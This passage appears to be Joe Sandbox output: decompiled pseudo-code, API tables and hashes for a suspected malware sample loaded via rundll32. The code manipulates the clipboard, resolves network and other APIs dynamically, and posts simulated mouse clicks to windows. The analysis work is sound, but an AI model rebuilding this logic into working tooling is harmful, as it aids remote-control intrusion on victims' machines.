				intOrPtr _t55;
				int _t56;
				int _t57;
				unsigned int _t63;
				long _t72;
				int _t73;
				int _t74;
				void* _t75;
				void* _t76;
				void* _t81;
				void* _t84;

				_t63 = __edi;
				_t76 = E04A011D0(__edi);
				_push(__edi);
				if(_t76 == 0) {
					_push(_a2012);
					return E04A01870();
				} else {
					_push(_t76);
					_push(_a2012);
					_t19 = E04A017E0();
					_t84 = _t81 + 0xc;
					if(_t19 == 0) {
						L22:
						if(_t63 == 0) {
							return _t19;
						} else {
							goto L23;
						}
					} else {
						if(__edi == 0) {
							_t55 = 1;
							_t72 = 0;
							goto L18;
						} else {
							_a24 = 0;
							if(OpenClipboard(0) == 0) {
								_t55 = 2;
								_t72 = GetLastError();
							} else {
								EmptyClipboard();
								_t75 = GlobalAlloc(0x2000, __edi);
								if(_t75 == 0) {
									_t55 = 3;
									_t72 = GetLastError();
									CloseClipboard();
								} else {
									if(GlobalLock(_t75) == 0) {
										_t55 = 4;
										_t72 = GetLastError();
										CloseClipboard();
									} else {
										E04A01000(_t42, _t76, __edi);
										_t84 = _t84 + 0xc;
										GlobalUnlock(_t75);
										_t47 = SetClipboardData(0xd, _t75);
										_a24 = 0 | _t47 != 0x00000000;
										if(_t47 != 0) {
											_t72 = _a124;
											_t55 = _a128;
											CloseClipboard();
										} else {
											_t6 = _t47 + 5; // 0x5
											_t55 = _t6;
											_t72 = GetLastError();
											CloseClipboard();
										}
									}
								}
							}
							if(_a24 == 0) {
								L18:
								_push(_t72);
								E04A01200( &_a352, "Set  clipboard text failed. \r\n Error # %d - %08lx", _t55);
								_t84 = _t84 + 0x10;
								_t19 = lstrlenA( &_a352);
								_t73 = _t19;
								if( *0x4a1672c != 0 && _t73 != 0) {
									_t19 = E04A011D0(_t73);
									_t56 = _t19;
									if(_t56 != 0) {
										_t19 = E04A01000(_t56,  &_a352, _t73);
										_t84 = _t84 + 0xc;
										EnterCriticalSection(0x4a16714);
										 *0x4a165fc = 5;
										 *0x4a16601 = _t73;
										 *0x4a165fd = _t56;
										LeaveCriticalSection(0x4a16714);
									}
								}
								goto L22;
							} else {
								E04A01200( &_a248,  *0x4a16ba8, (_t63 >> 1) - 1);
								_t84 = _t84 + 0xc;
								_t74 = lstrlenA( &_a248);
								if( *0x4a1672c != 0 && _t74 != 0) {
									_t57 = E04A011D0(_t74);
									if(_t57 != 0) {
										E04A01000(_t57,  &_a248, _t74);
										_t84 = _t84 + 0xc;
										EnterCriticalSection(0x4a16714);
										 *0x4a165fc = 5;
										 *0x4a16601 = _t74;
										 *0x4a165fd = _t57;
										LeaveCriticalSection(0x4a16714);
									}
								}
								L23:
								if(_t63 <= 0x1000) {
									return LocalFree(_t76);
								} else {
									return VirtualFree(_t76, 0, 0x8000);
								}
							}
						}
					}
				}
			}

0x04a04c0f
0x04a04c16
0x04a04c18
0x04a04c1b
0x04a04e5e
0x04a04e77
0x04a04c21
0x04a04c21
0x04a04c22
0x04a04c29
0x04a04c2e
0x04a04c33
0x04a04e23
0x04a04e25
0x04a05442
0x00000000
0x00000000
0x00000000
0x04a04c39
0x04a04c3b
0x04a04da0
0x04a04da5
0x00000000
0x04a04c41
0x04a04c43
0x04a04c53
0x04a04cf6
0x04a04d01
0x04a04c59
0x04a04c59
0x04a04c6b
0x04a04c6f
0x04a04ce1
0x04a04cec
0x04a04cee
0x04a04c71
0x04a04c7a
0x04a04ccc
0x04a04cd7
0x04a04cd9
0x04a04c7c
0x04a04c7f
0x04a04c84
0x04a04c88
0x04a04c91
0x04a04c9e
0x04a04ca4
0x04a04cb9
0x04a04cbd
0x04a04cc4
0x04a04ca6
0x04a04ca6
0x04a04ca6
0x04a04caf
0x04a04cb1
0x04a04cb1
0x04a04ca4
0x04a04c7a
0x04a04c6f
0x04a04d08
0x04a04da7
0x04a04da7
0x04a04db6
0x04a04dbb
0x04a04dc6
0x04a04dd3
0x04a04dd5
0x04a04ddd
0x04a04de2
0x04a04de6
0x04a04df2
0x04a04df7
0x04a04dff
0x04a04e0a
0x04a04e11
0x04a04e17
0x04a04e1d
0x04a04e1d
0x04a04de6
0x00000000
0x04a04d0e
0x04a04d22
0x04a04d27
0x04a04d3f
0x04a04d41
0x04a04d56
0x04a04d5a
0x04a04d6a
0x04a04d6f
0x04a04d77
0x04a04d82
0x04a04d89
0x04a04d8f
0x04a04d95
0x04a04d95
0x04a04d5a
0x04a04e2b
0x04a04e31
0x04a04e5d
0x04a04e33
0x04a04e4b
0x04a04e4b
0x04a04e31
0x04a04d08
0x04a04c3b
0x04a04c33

APIs

Part of subcall function 04A011D0: VirtualAlloc.KERNEL32(00000000,00000001,00003000,00000004,04A076CF), ref: 04A011E2

Part of subcall function 04A017E0: select.WS2_32(?,?,?,?), ref: 04A01829
Part of subcall function 04A017E0: recv.WS2_32(?,?,?,00000000), ref: 04A0183D

OpenClipboard.USER32 ref: 04A04C4B
EmptyClipboard.USER32 ref: 04A04C59
GlobalAlloc.KERNEL32(00002000), ref: 04A04C65
GlobalLock.KERNEL32 ref: 04A04C72
GlobalUnlock.KERNEL32(00000000,?,?,00000000), ref: 04A04C88
SetClipboardData.USER32 ref: 04A04C91
GetLastError.KERNEL32(?,?,00000000), ref: 04A04CA9
CloseClipboard.USER32 ref: 04A04CB1
CloseClipboard.USER32 ref: 04A04CC4
GetLastError.KERNEL32 ref: 04A04CD1
CloseClipboard.USER32 ref: 04A04CD9
GetLastError.KERNEL32 ref: 04A04CE6
CloseClipboard.USER32 ref: 04A04CEE
GetLastError.KERNEL32 ref: 04A04CFB
lstrlenA.KERNEL32(?,?,?,00000000), ref: 04A04D32
EnterCriticalSection.KERNEL32(04A16714,?,?,?,?,?,00000000), ref: 04A04D77
LeaveCriticalSection.KERNEL32(04A16714,?,?,?,?,?,00000000), ref: 04A04D95
lstrlenA.KERNEL32(?), ref: 04A04DC6
EnterCriticalSection.KERNEL32(04A16714), ref: 04A04DFF
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A04E1D
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04A04E3B
LocalFree.KERNEL32(00000000), ref: 04A04E4D

Strings

Set clipboard text failed. Error # %d - %08lx, xrefs: 04A04DB0

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Clipboard$CloseCriticalErrorLastSection$Global$AllocEnterFreeLeaveVirtuallstrlen$DataEmptyLocalLockOpenUnlockrecvselect
String ID: Set clipboard text failed. Error # %d - %08lx
API String ID: 4069804236-694873836
Opcode ID: 3cc972ee3b044beedad7190c884efa88e1757455bb087e2974b72b58d96d04f2
Instruction ID: b6476614481943ccf95ffbfa23a1c7735c1b1afe81dd7af5047ecdca76c494c8
Opcode Fuzzy Hash: 3cc972ee3b044beedad7190c884efa88e1757455bb087e2974b72b58d96d04f2
Instruction Fuzzy Hash: C551FB76A053119FD3305B60FD48B9B7768FB5C352F048029FE05D6181EBBEAC468BA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A04430 Relevance: 39.2, APIs: 26, Instructions: 191
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E04A04430() {
				_Unknown_base(*)()* _t3;
				_Unknown_base(*)()* _t4;
				_Unknown_base(*)()* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t13;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t21;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				_Unknown_base(*)()* _t24;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t27;
				signed int _t28;
				intOrPtr _t32;
				intOrPtr _t33;
				struct HINSTANCE__* _t34;
				struct HINSTANCE__* _t35;
				struct HINSTANCE__* _t36;

				_t34 = LoadLibraryA( *0x4a16af8);
				if(_t34 == 0) {
					L26:
					return 0;
				} else {
					_t3 = GetProcAddress(_t34,  *0x4a16b00);
					 *0x4a16598 = _t3;
					if(_t3 == 0) {
						goto L26;
					} else {
						_t4 = GetProcAddress(_t34,  *0x4a16b04);
						 *0x4a16594 = _t4;
						if(_t4 == 0) {
							goto L26;
						} else {
							 *0x4a165c0 = GetProcAddress(_t34,  *0x4a16afc);
							_t6 = GetProcAddress(_t34,  *0x4a16a98);
							 *0x4a165d4 = _t6;
							if(_t6 == 0) {
								goto L26;
							} else {
								_t7 = LoadLibraryA( *0x4a16b08);
								if(_t7 == 0) {
									goto L26;
								} else {
									_t8 = GetProcAddress(_t7,  *0x4a16b0c);
									 *0x4a165b4 = _t8;
									if(_t8 == 0) {
										goto L26;
									} else {
										_t35 = LoadLibraryA( *0x4a16a78);
										if(_t35 == 0) {
											goto L26;
										} else {
											_t10 = GetProcAddress(_t35,  *0x4a16a7c);
											 *0x4a165cc = _t10;
											if(_t10 == 0) {
												goto L26;
											} else {
												_t11 = GetProcAddress(_t35,  *0x4a16a80);
												 *0x4a1659c = _t11;
												if(_t11 == 0) {
													goto L26;
												} else {
													_t12 = GetProcAddress(_t35,  *0x4a16a84);
													 *0x4a165d8 = _t12;
													if(_t12 == 0) {
														goto L26;
													} else {
														_t13 = GetProcAddress(_t35,  *0x4a16a88);
														 *0x4a16588 = _t13;
														if(_t13 == 0) {
															goto L26;
														} else {
															_t14 = GetProcAddress(_t35,  *0x4a16a8c);
															 *0x4a165c4 = _t14;
															if(_t14 == 0) {
																goto L26;
															} else {
																_t36 = LoadLibraryA( *0x4a16a24);
																if(_t36 == 0) {
																	goto L26;
																} else {
																	_t16 = GetProcAddress(_t36,  *0x4a16a30);
																	 *0x4a165d0 = _t16;
																	if(_t16 == 0) {
																		goto L26;
																	} else {
																		_t17 = GetProcAddress(_t36,  *0x4a16a34);
																		 *0x4a165c8 = _t17;
																		if(_t17 == 0) {
																			goto L26;
																		} else {
																			_t18 = GetProcAddress(_t36,  *0x4a16a40);
																			 *0x4a165e0 = _t18;
																			if(_t18 == 0) {
																				goto L26;
																			} else {
																				_t19 = GetProcAddress(_t36,  *0x4a16a44);
																				 *0x4a165ac = _t19;
																				if(_t19 == 0) {
																					goto L26;
																				} else {
																					_t20 = GetProcAddress(_t36,  *0x4a16a48);
																					 *0x4a165a4 = _t20;
																					if(_t20 == 0) {
																						goto L26;
																					} else {
																						_t21 = GetProcAddress(_t36,  *0x4a16a4c);
																						 *0x4a165a0 = _t21;
																						if(_t21 == 0) {
																							goto L26;
																						} else {
																							_t22 = GetProcAddress(_t36,  *0x4a16a50);
																							 *0x4a1658c = _t22;
																							if(_t22 == 0) {
																								goto L26;
																							} else {
																								_t23 = GetProcAddress(_t36,  *0x4a16a54);
																								 *0x4a16584 = _t23;
																								if(_t23 == 0) {
																									goto L26;
																								} else {
																									_t24 = GetProcAddress(_t36,  *0x4a16a58);
																									 *0x4a165dc = _t24;
																									if(_t24 == 0) {
																										goto L26;
																									} else {
																										_t25 = GetProcAddress(_t36,  *0x4a16a5c);
																										 *0x4a16590 = _t25;
																										if(_t25 == 0) {
																											goto L26;
																										} else {
																											_t26 = GetProcAddress(_t36,  *0x4a16a60);
																											 *0x4a165b0 = _t26;
																											if(_t26 == 0) {
																												goto L26;
																											} else {
																												_t27 = GetProcAddress(_t36,  *0x4a16a64);
																												 *0x4a165b8 = _t27;
																												if(_t27 == 0) {
																													goto L26;
																												} else {
																													_t33 =  *0x4a16aa0; // 0x4a198dc
																													_t32 =  *0x4a16a9c; // 0x4a198d1
																													_t28 = E04A01490(_t32, _t33,  *0x4a16aa4,  *0x4a16aa8,  *0x4a16aac,  *0x4a16ab0,  *0x4a16ab4,  *0x4a16ab8,  *0x4a16abc,  *0x4a16ac0,  *0x4a16ac4,  *0x4a16ac8,  *0x4a16acc,  *0x4a16ad0,  *0x4a16ad4,  *0x4a16ad8,  *0x4a16adc,  *0x4a16ae0,  *0x4a16ae4,  *0x4a16ae8,  *0x4a16aec,  *0x4a16af0,  *0x4a16af4);
																													asm("sbb eax, eax");
																													return  ~( ~_t28);
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x04a04441
0x04a04445
0x04a046ff
0x04a04702
0x04a0444b
0x04a04458
0x04a0445a
0x04a04461
0x00000000
0x04a04467
0x04a0446e
0x04a04470
0x04a04477
0x00000000
0x04a0447d
0x04a0448c
0x04a04492
0x04a04494
0x04a0449b
0x00000000
0x04a044a1
0x04a044a7
0x04a044ab
0x00000000
0x04a044b1
0x04a044b8
0x04a044ba
0x04a044c1
0x00000000
0x04a044c7
0x04a044cf
0x04a044d3
0x00000000
0x04a044d9
0x04a044e0
0x04a044e2
0x04a044e9
0x00000000
0x04a044ef
0x04a044f6
0x04a044f8
0x04a044ff
0x00000000
0x04a04505
0x04a0450c
0x04a0450e
0x04a04515
0x00000000
0x04a0451b
0x04a04522
0x04a04524
0x04a0452b
0x00000000
0x04a04531
0x04a04538
0x04a0453a
0x04a04541
0x00000000
0x04a04547
0x04a0454f
0x04a04553
0x00000000
0x04a04559
0x04a04560
0x04a04562
0x04a04569
0x00000000
0x04a0456f
0x04a04576
0x04a04578
0x04a0457f
0x00000000
0x04a04585
0x04a0458c
0x04a0458e
0x04a04595
0x00000000
0x04a0459b
0x04a045a2
0x04a045a4
0x04a045ab
0x00000000
0x04a045b1
0x04a045b8
0x04a045ba
0x04a045c1
0x00000000
0x04a045c7
0x04a045ce
0x04a045d0
0x04a045d7
0x00000000
0x04a045dd
0x04a045e4
0x04a045e6
0x04a045ed
0x00000000
0x04a045f3
0x04a045fa
0x04a045fc
0x04a04603
0x00000000
0x04a04609
0x04a04610
0x04a04612
0x04a04619
0x00000000
0x04a0461f
0x04a04626
0x04a04628
0x04a0462f
0x00000000
0x04a04635
0x04a0463c
0x04a0463e
0x04a04645
0x00000000
0x04a0464b
0x04a04652
0x04a04654
0x04a0465b
0x00000000
0x04a04661
0x04a04667
0x04a04673
0x04a046eb
0x04a046f5
0x04a046fc
0x04a046fc
0x04a0465b
0x04a04645
0x04a0462f
0x04a04619
0x04a04603
0x04a045ed
0x04a045d7
0x04a045c1
0x04a045ab
0x04a04595
0x04a0457f
0x04a04569
0x04a04553
0x04a04541
0x04a0452b
0x04a04515
0x04a044ff
0x04a044e9
0x04a044d3
0x04a044c1
0x04a044ab
0x04a0449b
0x04a04477
0x04a04461

APIs

LoadLibraryA.KERNEL32(?,?,?,04A03767), ref: 04A0443F
GetProcAddress.KERNEL32(00000000), ref: 04A04458
GetProcAddress.KERNEL32(00000000), ref: 04A0446E
GetProcAddress.KERNEL32(00000000), ref: 04A04484
GetProcAddress.KERNEL32(00000000), ref: 04A04492
LoadLibraryA.KERNEL32(?,?,?,04A03767), ref: 04A044A7
GetProcAddress.KERNEL32(00000000), ref: 04A044B8
LoadLibraryA.KERNEL32(?,?,?,04A03767), ref: 04A044CD
GetProcAddress.KERNEL32(00000000), ref: 04A044E0
GetProcAddress.KERNEL32(00000000), ref: 04A044F6
GetProcAddress.KERNEL32(00000000), ref: 04A0450C
GetProcAddress.KERNEL32(00000000), ref: 04A04522
GetProcAddress.KERNEL32(00000000), ref: 04A04538
LoadLibraryA.KERNEL32(?,?,?,04A03767), ref: 04A0454D
GetProcAddress.KERNEL32(00000000), ref: 04A04560
GetProcAddress.KERNEL32(00000000), ref: 04A04576
GetProcAddress.KERNEL32(00000000), ref: 04A0458C
GetProcAddress.KERNEL32(00000000), ref: 04A045A2
GetProcAddress.KERNEL32(00000000), ref: 04A045B8
GetProcAddress.KERNEL32(00000000), ref: 04A045CE
GetProcAddress.KERNEL32(00000000), ref: 04A045E4
GetProcAddress.KERNEL32(00000000), ref: 04A045FA
GetProcAddress.KERNEL32(00000000), ref: 04A04610
GetProcAddress.KERNEL32(00000000), ref: 04A04626
GetProcAddress.KERNEL32(00000000), ref: 04A0463C
GetProcAddress.KERNEL32(00000000), ref: 04A04652

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 64b1691bd243baf7b886c9177687eaae91902667471e31166f3b99a107ec761b
Instruction ID: 924a163d13ffff275fa65a948a54616ff975310fabba53556cdf4a96f9e3ed8d
Opcode Fuzzy Hash: 64b1691bd243baf7b886c9177687eaae91902667471e31166f3b99a107ec761b
Instruction Fuzzy Hash: A461B872511517AB9B125F66BC40D263FBAF76C354748842BE602C1570EF7AE832EF14

Uniqueness

Uniqueness Score: -1.00%

Function 04A01490 Relevance: 36.2, APIs: 24, Instructions: 172
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E04A01490(CHAR* __ecx, CHAR* __edx, CHAR* _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, CHAR* _a28, CHAR* _a32, CHAR* _a36, CHAR* _a40, CHAR* _a44, CHAR* _a48, CHAR* _a52, CHAR* _a56, CHAR* _a60, CHAR* _a64, CHAR* _a68, CHAR* _a72, CHAR* _a76, CHAR* _a80, CHAR* _a84) {
				char _v404;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t27;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t30;
				_Unknown_base(*)()* _t31;
				_Unknown_base(*)()* _t32;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t34;
				_Unknown_base(*)()* _t35;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t37;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t40;
				_Unknown_base(*)()* _t41;
				_Unknown_base(*)()* _t42;
				_Unknown_base(*)()* _t43;
				_Unknown_base(*)()* _t44;
				_Unknown_base(*)()* _t45;
				_Unknown_base(*)()* _t46;
				signed int _t48;
				intOrPtr _t50;
				CHAR* _t55;
				struct HINSTANCE__* _t61;

				_t55 = __edx;
				if( *0x4a176f0 == 0) {
					_t61 = LoadLibraryA(__ecx);
					if(_t61 == 0) {
						L26:
						return 0;
					} else {
						_t25 = GetProcAddress(_t61, _t55);
						 *0x4a176ec = _t25;
						if(_t25 == 0) {
							goto L26;
						} else {
							_t26 = GetProcAddress(_t61, _a4);
							 *0x4a17704 = _t26;
							if(_t26 == 0) {
								goto L26;
							} else {
								_t27 = GetProcAddress(_t61, _a8);
								 *0x4a176d4 = _t27;
								if(_t27 == 0) {
									goto L26;
								} else {
									_t28 = GetProcAddress(_t61, _a12);
									 *0x4a176e0 = _t28;
									if(_t28 == 0) {
										goto L26;
									} else {
										_t29 = GetProcAddress(_t61, _a16);
										 *0x4a176dc = _t29;
										if(_t29 == 0) {
											goto L26;
										} else {
											_t30 = GetProcAddress(_t61, _a20);
											 *0x4a176f8 = _t30;
											if(_t30 == 0) {
												goto L26;
											} else {
												_t31 = GetProcAddress(_t61, _a24);
												 *0x4a17724 = _t31;
												if(_t31 == 0) {
													goto L26;
												} else {
													_t32 = GetProcAddress(_t61, _a28);
													 *0x4a176f4 = _t32;
													if(_t32 == 0) {
														goto L26;
													} else {
														_t33 = GetProcAddress(_t61, _a32);
														 *0x4a17714 = _t33;
														if(_t33 == 0) {
															goto L26;
														} else {
															_t34 = GetProcAddress(_t61, _a36);
															 *0x4a17720 = _t34;
															if(_t34 == 0) {
																goto L26;
															} else {
																_t35 = GetProcAddress(_t61, _a40);
																 *0x4a17708 = _t35;
																if(_t35 == 0) {
																	goto L26;
																} else {
																	_t36 = GetProcAddress(_t61, _a44);
																	 *0x4a176d8 = _t36;
																	if(_t36 == 0) {
																		goto L26;
																	} else {
																		_t37 = GetProcAddress(_t61, _a48);
																		 *0x4a1772c = _t37;
																		if(_t37 == 0) {
																			goto L26;
																		} else {
																			_t38 = GetProcAddress(_t61, _a52);
																			 *0x4a17718 = _t38;
																			if(_t38 == 0) {
																				goto L26;
																			} else {
																				_t39 = GetProcAddress(_t61, _a56);
																				 *0x4a17710 = _t39;
																				if(_t39 == 0) {
																					goto L26;
																				} else {
																					_t40 = GetProcAddress(_t61, _a60);
																					 *0x4a1771c = _t40;
																					if(_t40 == 0) {
																						goto L26;
																					} else {
																						_t41 = GetProcAddress(_t61, _a64);
																						 *0x4a176e4 = _t41;
																						if(_t41 == 0) {
																							goto L26;
																						} else {
																							_t42 = GetProcAddress(_t61, _a68);
																							 *0x4a176e8 = _t42;
																							if(_t42 == 0) {
																								goto L26;
																							} else {
																								_t43 = GetProcAddress(_t61, _a72);
																								 *0x4a17728 = _t43;
																								if(_t43 == 0) {
																									goto L26;
																								} else {
																									_t44 = GetProcAddress(_t61, _a76);
																									 *0x4a1770c = _t44;
																									if(_t44 == 0) {
																										goto L26;
																									} else {
																										_t45 = GetProcAddress(_t61, _a80);
																										 *0x4a176fc = _t45;
																										if(_t45 == 0) {
																											goto L26;
																										} else {
																											_t46 = GetProcAddress(_t61, _a84);
																											 *0x4a17700 = _t46;
																											if(_t46 == 0) {
																												goto L26;
																											} else {
																												_t48 =  *0x4a176ec(0x101,  &_v404);
																												asm("sbb eax, eax");
																												_t50 =  ~_t48 + 1;
																												 *0x4a176f0 = _t50;
																												return _t50;
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				} else {
					return 1;
				}
			}

0x04a014a5
0x04a014a7
0x04a014bb
0x04a014bf
0x04a0166f
0x04a01676
0x04a014c5
0x04a014cd
0x04a014cf
0x04a014d6
0x00000000
0x04a014dc
0x04a014e0
0x04a014e2
0x04a014e9
0x00000000
0x04a014ef
0x04a014f3
0x04a014f5
0x04a014fc
0x00000000
0x04a01502
0x04a01506
0x04a01508
0x04a0150f
0x00000000
0x04a01515
0x04a01519
0x04a0151b
0x04a01522
0x00000000
0x04a01528
0x04a0152c
0x04a0152e
0x04a01535
0x00000000
0x04a0153b
0x04a0153f
0x04a01541
0x04a01548
0x00000000
0x04a0154e
0x04a01552
0x04a01554
0x04a0155b
0x00000000
0x04a01561
0x04a01565
0x04a01567
0x04a0156e
0x00000000
0x04a01574
0x04a01578
0x04a0157a
0x04a01581
0x00000000
0x04a01587
0x04a0158b
0x04a0158d
0x04a01594
0x00000000
0x04a0159a
0x04a0159e
0x04a015a0
0x04a015a7
0x00000000
0x04a015ad
0x04a015b1
0x04a015b3
0x04a015ba
0x00000000
0x04a015c0
0x04a015c4
0x04a015c6
0x04a015cd
0x00000000
0x04a015d3
0x04a015d7
0x04a015d9
0x04a015e0
0x00000000
0x04a015e6
0x04a015ea
0x04a015ec
0x04a015f3
0x00000000
0x04a015f5
0x04a015f9
0x04a015fb
0x04a01602
0x00000000
0x04a01604
0x04a01608
0x04a0160a
0x04a01611
0x00000000
0x04a01613
0x04a01617
0x04a01619
0x04a01620
0x00000000
0x04a01622
0x04a01626
0x04a01628
0x04a0162f
0x00000000
0x04a01631
0x04a01635
0x04a01637
0x04a0163e
0x00000000
0x04a01640
0x04a01644
0x04a01646
0x04a0164d
0x00000000
0x04a0164f
0x04a01659
0x04a01661
0x04a01663
0x04a01664
0x04a0166e
0x04a0166e
0x04a0164d
0x04a0163e
0x04a0162f
0x04a01620
0x04a01611
0x04a01602
0x04a015f3
0x04a015e0
0x04a015cd
0x04a015ba
0x04a015a7
0x04a01594
0x04a01581
0x04a0156e
0x04a0155b
0x04a01548
0x04a01535
0x04a01522
0x04a0150f
0x04a014fc
0x04a014e9
0x04a014d6
0x04a014a9
0x04a014b3
0x04a014b3

APIs

LoadLibraryA.KERNEL32(04A198D1,00000000,74714EE0), ref: 04A014B5
GetProcAddress.KERNEL32(00000000,04A198DC), ref: 04A014CD
GetProcAddress.KERNEL32(00000000,00000064), ref: 04A014E0
GetProcAddress.KERNEL32(00000000,?), ref: 04A014F3
GetProcAddress.KERNEL32(00000000,?), ref: 04A01506
GetProcAddress.KERNEL32(00000000,?), ref: 04A01519
GetProcAddress.KERNEL32(00000000,?), ref: 04A0152C
GetProcAddress.KERNEL32(00000000,?), ref: 04A0153F
GetProcAddress.KERNEL32(00000000,?), ref: 04A01552
GetProcAddress.KERNEL32(00000000,?), ref: 04A01565
GetProcAddress.KERNEL32(00000000,?), ref: 04A01578
GetProcAddress.KERNEL32(00000000,?), ref: 04A0158B
GetProcAddress.KERNEL32(00000000,?), ref: 04A0159E
GetProcAddress.KERNEL32(00000000,?), ref: 04A015B1
GetProcAddress.KERNEL32(00000000,?), ref: 04A015C4
GetProcAddress.KERNEL32(00000000,?), ref: 04A015D7
GetProcAddress.KERNEL32(00000000,?), ref: 04A015EA

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 6107cf1d963150422aca5e3ae30e101b9af1995c31b285eab00975d7f26cf61c
Instruction ID: 1f710aef897798020d62716dbca1c5c142ab19bf2c1d22ec6eb33e917c3a2838
Opcode Fuzzy Hash: 6107cf1d963150422aca5e3ae30e101b9af1995c31b285eab00975d7f26cf61c
Instruction Fuzzy Hash: AF51A87510160B6A8B126F7EBC10DDEBAEDEF65340F486066F910D11A0EF7AD812CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04A055F0 Relevance: 31.8, APIs: 21, Instructions: 300
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E04A055F0(long _a12, signed int _a16, signed int _a20, signed int _a24) {
				void* __ecx;
				signed short _t38;
				signed int _t46;
				signed int _t61;
				struct HMENU__* _t67;
				struct HMENU__* _t74;
				int _t75;
				long _t84;
				signed int _t87;
				struct HWND__* _t89;
				struct HWND__* _t92;
				int _t104;
				struct HWND__* _t115;
				struct HWND__* _t122;
				int _t124;
				struct HWND__* _t125;
				struct HWND__* _t127;
				int _t128;
				void* _t130;
				struct tagPOINT _t131;

				_t38 = _a24;
				_t87 = _a16;
				_t131 = _a20;
				_t124 = _a12;
				 *0x4a1774c = 0;
				 *0x4a17758 = 0;
				 *0x4a17750 = _t131;
				 *0x4a17754 = _t38;
				_t115 = _t92;
				if(_t124 != 1 || (_t87 & 0x00000800) == 0) {
					if((_t87 & 0x00000004) == 0 ||  *0x4a176cc == 0) {
						 *0x4a176cc = 0;
						if(_t124 != 5) {
							if(_t124 != 3) {
								if(_t124 == 0x14 || _t124 == 8 || _t124 == 9) {
									E04A0A610(_t92);
									E04A0A780(_t115);
									if(E04A05560(_t115, _t124) != 0) {
										goto L17;
									} else {
										goto L41;
									}
								} else {
									if((_t87 & 0x00000400) == 0) {
										if((_t87 & 0x00000300) == 0 || _t124 != 1) {
											L41:
											if((_t87 & 0x0000034c) == 0) {
												E04A0A610(_t115);
												_t125 = _t115;
												if(_t115 != 0) {
													while(1) {
														_t46 = GetWindowLongA(_t115, 0xfffffff0);
														if(_t46 == 0 || (_t46 & 0x40000000) == 0) {
															goto L48;
														}
														_t115 = GetParent(_t115);
														if(_t115 != 0) {
															_t125 = _t115;
															continue;
														}
														goto L48;
													}
												}
												L48:
												E04A0A780(_t125);
											}
											goto L49;
										} else {
											_a20 = _t131;
											_a24 = _t38;
											E04A0A800(_t92,  &_a20);
											PostMessageA(_t115, 0x201, _t124, (_a24 & 0x0000ffff) << 0x00000010 | _a20 & 0x0000ffff);
											PostMessageA(_t115, 0x202, 0, (_a24 & 0x0000ffff) << 0x00000010 | _a20 & 0x0000ffff);
											return 1;
										}
									} else {
										E04A0A610(_t92);
										PostMessageA( *0x4a163b4, 0xf5, 0, 0);
										return 1;
									}
								}
							} else {
								_t127 = _t115;
								_t89 = _t115;
								if(_t115 != 0) {
									while(1) {
